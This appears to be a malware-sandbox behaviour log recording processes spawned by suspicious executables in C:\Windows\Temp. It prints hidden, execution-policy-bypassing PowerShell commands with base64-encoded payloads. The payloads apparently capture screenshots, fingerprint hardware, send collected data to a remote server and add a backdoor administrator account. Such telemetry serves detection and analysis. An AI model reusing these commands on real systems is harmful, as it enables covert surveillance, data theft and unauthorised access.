Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaeuaoabbafiaqqbcahaaqqbhadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaeyasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeazab3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcafeaqqbgae0aqqbnaeeaqqaxaeearwawaeeasqbnaeeacabbaemaawbbaesauqbbahaaqqbdadqaqqbrahcaqgbqaeearwa0aeeavgbbaeiargbbaecanabbagqaqqbbahaaqqbdagsaqqaiaa=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgadaauaeuabgbjae8arabpag4arwbdadoaogbvafqarga4ac4arwblafqauwb0afiasqboagcakaaoaekadwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbqafmamaa1ag0aigapackakqapac4aqwbpag4avabfag4adaapacka	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa0adqamgbkadyazaayagiaygbiagyaoqa1ageamabjadiazaa5adgamwazaduaywa3agmazgaxadiazaa5agqanabhadiamqa2admaygbmagqamwazagyanaayaduanaa3agqaoabladiamqa3adyamwa0adkazgbjaduaygblagmaoqa5adkazabmadcanwblagqangbmagmamqawagmazaayagiaoabmadeaygbmadyazqaxadqamqa5ageazgbkadeayga4aguanga1adiazaa2adaaoaayadaayqa1adyazga1agqaoaa3adiayga5adgamwayagqanqa4agmazgbladyanqazadqaoabiagqayga2adeangbkagiamgazaguanaazagyanwa5adcamgbkageazgazadkamqbmadeamwbiagqangbhadyaoqbjadgaoqaxadkamaayadgamaa3ageayqbkadqamgazadyamga3adgamqaxagmaoabladaazaa0ageayqa3aguazqa5admaoqbkadcanaa1adiamaaxaguazqbkadgamaa2aguazqa5adcaoqbmageaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa0adqamgbkadyazaayagiaygbiagyaoqa1ageamabjadiazaa5adgamwazaduaywa3agmazgaxadiazaa5agqanabhadiamqa2admaygbmagqamwazagyanaayaduanaa3agqaoabladiamqa3adyamwa0adkazgbjaduaygblagmaoqa5adkazabmadcanwblagqangbmagmamqawagmazaayagiaoabmadeaygbmadyazqaxadqamqa5ageazgbkadeayga4aguanga1adiazaa2adaaoaayadaayqa1adyazga1agqaoaa3adiayga5adgamwayagqanqa4agmazgbladyanqazadqaoabiagqayga2adeangbkagiamgazaguanaazagyanwa5adcamgbkageazgazadkamqbmadeamwbiagqangbhadyaoqbjadgaoqaxadkamaayadgamaa3ageayqbkadqamgazadyamga3adgamqaxagmaoabladaazaa0ageayqa3aguazqa5admaoqbkadcanaa1adiamaaxaguazqbkadgamaa2aguazqa5adcaoqbmageaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
